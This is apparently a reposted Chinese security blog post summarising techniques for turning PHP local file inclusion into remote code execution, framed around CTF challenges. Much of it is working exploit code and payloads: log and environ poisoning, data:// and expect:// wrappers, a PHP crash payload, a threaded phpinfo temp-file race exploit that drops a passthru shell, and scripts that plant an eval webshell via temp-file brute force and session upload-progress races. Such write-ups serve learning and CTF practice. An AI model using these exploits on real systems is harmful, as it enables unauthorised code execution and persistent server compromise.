LFI不止可以来读取文件,还能用来RCE
在多道CTF题目中都有LFItoRCE的非预期解,下面总结一下LFI的利用姿势
需要有/proc/self/environ
的读取权限
如果可以读取,修改User-Agent
为php代码,然后lfi点包含,实现rce
需要有/proc/self/fd/1
的读取权限
类似于/proc/self/environ
,不同是在referer
或报错等写入php代码,然后lfi点包含,实现rce
用来读文件 https://www.php.net/manual/zh/filters.php
不需要allow_url_include
和allow_url_fopen
开启
php://filter/read=convert.base64-encode/resource=
可以实现代码执行
需要allow_url_include:on
需要allow_url_fopen
,allow_url_include
均开启
data://text/plain,<?php phpinfo()?>
data:text/plain,<?php phpinfo()?>
data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
d·ata:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
默认不开启,需要安装PECL package扩展
需要allow_url_include
开启
expect://[command]
需要有/var/log/auth.log
的读取权限
如果目标机开启了ssh,可以通过包含ssh日志的方式来getshell
连接ssh时输入ssh `<?php phpinfo(); ?>`@192.168.211.146
php代码便会保存在/var/log/auth.log
中
然后lfi点包含,实现rce
需要有/var/log/apache2/...
的读取权限
包含access.log
和error.log
来rce
但log文件过大会超时返回500,利用失败
更多日志文件地址见:https://github.com/tennc/fuzzdb/blob/master/attack-payloads/lfi/common-unix-httpd-log-locations.txt
PHP引擎对enctype="multipart/form-data"
这种请求的处理过程如下
/tmp/php[w]{6}
构造一个html文件来发送上传文件的数据包
<form action="http://192.168.211.146/phpinfo.php" method="post"enctype="multipart/form-data"><label for="file">Filename:</label><input type="file" name="file" id="file" /> <br /><input type="submit" name="submit" value="Submit" /></form>
phpinfo
可以输出$_FILES
信息,包括临时文件路径、名称
可以通过分块传输编码,发送大量数据来争取时间,在临时文件删除之前执行包含操作
https://insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf 中的exp:
#!/usr/bin/python import sys import threading import socket def setup(host, port): TAG="Security Test" PAYLOAD="""%sr <?php $c=fopen('/tmp/g','w');fwrite($c,'<?php passthru($_GET["f"]);?>');?>r""" % TAG REQ1_DATA="""-----------------------------7dbff1ded0714r Content-Disposition: form-data; name="dummyname"; filename="test.txt"r Content-Type: text/plainr r %s -----------------------------7dbff1ded0714--r""" % PAYLOAD padding="A" * 5000 REQ1="""POST /phpinfo.php?a="""+padding+""" HTTP/1.1r Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""r HTTP_ACCEPT: """ + padding + """r HTTP_USER_AGENT: """+padding+"""r HTTP_ACCEPT_LANGUAGE: """+padding+"""r HTTP_PRAGMA: """+padding+"""r Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714r Content-Length: %sr Host: %sr r %s""" %(len(REQ1_DATA),host,REQ1_DATA) #modify this to suit the LFI script # LFIREQ="""GET /lfi.php?file=%s%%00 HTTP/1.1r # User-Agent: Mozilla/4.0r # Proxy-Connection: Keep-Aliver # Host: %sr # r # r # """ LFIREQ="""GET /lfi.php?file=%s HTTP/1.1r User-Agent: Mozilla/4.0r Proxy-Connection: Keep-Aliver Host: %sr r r """ return (REQ1, TAG, LFIREQ) def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s2.connect((host, port)) s.send(phpinforeq) d = "" while len(d) < offset: d += s.recv(offset) try: i = d.index("[tmp_name] =>") fn = d[i+17:i+31] # print fn except ValueError: return None s2.send(lfireq % (fn, host)) d = s2.recv(4096) s.close() s2.close() if d.find(tag) != -1: return fn counter=0 class ThreadWorker(threading.Thread): def __init__(self, e, l, m, *args): threading.Thread.__init__(self) self.event = e self.lock = l self.maxattempts = m self.args = args def run(self): global counter while not self.event.is_set(): with self.lock: if counter >= self.maxattempts: return counter+=1 try: x = phpInfoLFI(*self.args) if self.event.is_set(): break if x: print "nGot it! Shell created in /tmp/g" self.event.set() except socket.error: return def getOffset(host, port, phpinforeq): """Gets offset of tmp_name in the php output""" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host,port)) s.send(phpinforeq) d = "" while True: i = s.recv(4096) d+=i if i == "": break # detect the final chunk if i.endswith("0rnrn"): break s.close() i = d.find("[tmp_name] =>") if i == -1: raise ValueError("No php tmp_name in phpinfo output") print "found %s at %i" % (d[i:i+10],i) # padded up a bit return i+256 def main(): print "LFI With PHPInfo()" print "-=" * 30 if len(sys.argv) < 2: print "Usage: %s host [port] [threads]" % sys.argv[0] sys.exit(1) try: host = socket.gethostbyname(sys.argv[1]) except socket.error, e: print "Error with hostname %s: %s" % (sys.argv[1], e) sys.exit(1) port=80 try: port = int(sys.argv[2]) except IndexError: pass except ValueError, e: print "Error with port %d: %s" % (sys.argv[2], e) sys.exit(1) poolsz=10 try: poolsz = int(sys.argv[3]) except IndexError: pass except ValueError, e: print "Error with poolsz %d: %s" % (sys.argv[3], e) sys.exit(1) print "Getting initial offset...", reqphp, tag, reqlfi = setup(host, port) offset = getOffset(host, port, reqphp) sys.stdout.flush() maxattempts = 1000 e = threading.Event() l = threading.Lock() print "Spawning worker pool (%d)..." % poolsz sys.stdout.flush() tp = [] for i in range(0,poolsz): tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag)) for t in tp: t.start() try: while not e.wait(1): if e.is_set(): break with l: sys.stdout.write( "r% 4d / % 4d" % (counter, maxattempts)) sys.stdout.flush() if counter >= maxattempts: break print if e.is_set(): print "Woot! m/" else: print ":(" except KeyboardInterrupt: print "nTelling threads to shutdown..." e.set() print "Shuttin' down..." for t in tp: t.join() if __name__=="__main__": main()
向PHP发送含有文件区块的数据包时,让PHP异常崩溃退出,POST的临时文件就会被保留
1. php < 7.2
php://filter/string.strip_tags/resource=/etc/passwd
2. php7 老版本通杀
php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA
更新之后的版本已经修复,不会再使php崩溃了,这里我使用老版本来测试可以利用
包含上面两条payload可以使php崩溃,请求中同时存在一个上传文件的请求则会使临时文件保存,然后爆破临时文件名,包含来rce
payload1测试:
payload2测试:
exp:
# -*- coding: utf-8 -*- # php崩溃 生成大量临时文件 import requests import string def upload_file(url, file_content): files = {'file': ('daolgts.jpg', file_content, 'image/jpeg')} try: requests.post(url, files=files) except Exception as e: print e charset = string.digits+string.letters webshell = '<?php eval($_REQUEST[daolgts]);?>'.encode("base64").strip() file_content = '<?php if(file_put_contents("/tmp/daolgts", base64_decode("%s"))){echo "success";}?>' % (webshell) url="http://192.168.211.146/lfi.php" parameter="file" payload1="php://filter/string.strip_tags/resource=/etc/passwd" payload2=r"php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA" lfi_url = url+"?"+parameter+"="+payload1 length = 6 times = len(charset) ** (length / 2) for i in xrange(times): print "[+] %d / %d" % (i, times) upload_file(lfi_url, file_content)
然后爆破临时文件名来包含
# -*- coding: utf-8 -*-
import requests
import string
charset = string.digits + string.letters
base_url="http://192.168.211.146/lfi.php"
parameter="file"
for i in charset:
for j in charset:
for k in charset:
for l in charset:
for m in charset:
for n in charset:
filename = i + j + k + l + m + n
url = base_url+"?"+parameter+"=/tmp/php"+filename
print url
try:
response = requests.get(url)
if 'success' in response.content:
print "[+] Include success!"
print "url:"+url
exit()
except Exception as e:
print e
如果session.upload_progress.enabled=On
开启,就可以包含session来getshell,并且这个参数在php中是默认开启的
https://php.net/manual/zh/session.upload-progress.php
当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name
同名变量时,上传进度可以在$_SESSION
中获得。 当PHP检测到这种POST请求时,它会在$_SESSION
中添加一组数据, 索引是 session.upload_progress.prefix
与session.upload_progress.name
连接在一起的值。
也就是说session中会添加session.upload_progress.prefix
+$_POST[ini_get['session.upload_progress.name']]
,而session.upload_progress.name
是可控的,所以就可以在session写入php代码,然后包含session文件来rce
session.upload_progress.prefix
和session.upload_progress.name
还有session的储存位置session.save_path
都能在phpinfo中获取,默认为:
同时能看到session.upload_progress.cleanup
是默认开启的,这个配置就是POST请求结束后会把session清空,所以session的存在时间很短,需要条件竞争来读取
下面测试一下,构造一个html来发包
<form action="http://192.168.211.146/phpinfo.php" method="POST" enctype="multipart/form-data"> <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php phpinfo(); ?>" /> <input type="file" name="file1" /> <input type="file" name="file2" /> <input type="submit" /></form>
在数据包里加入PHPSESSION
,才能生成session文件
burp不断发包,成功包含
exp:
import requests import threading webshell = '<?php eval($_REQUEST[daolgts]);?>'.encode("base64").strip() file_content = '<?php if(file_put_contents("/tmp/daolgts", base64_decode("%s"))){echo "success";}?>' % (webshell) url='http://192.168.211.146/lfi.php' r=requests.session() def POST(): while True: file={ "upload":('daolgts.jpg', file_content, 'image/jpeg') } data={ "PHP_SESSION_UPLOAD_PROGRESS":file_content } headers={ "Cookie":'PHPSESSID=123456' } r.post(url,files=file,headers=headers,data=data) def READ(): while True: event.wait() t=r.get("http://192.168.211.146/lfi.php?file=/var/lib/php/sessions/sess_123456") if 'success' not in t.text: print('[+]retry') else: print(t.text) event.clear() event=threading.Event() event.set() threading.Thread(target=POST,args=()).start() threading.Thread(target=POST,args=()).start() threading.Thread(target=POST,args=()).start() threading.Thread(target=READ,args=()).start() threading.Thread(target=READ,args=()).start() threading.Thread(target=READ,args=()).start()
会自动扫描利用以下漏洞,并且获取到shell
转自安全客
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.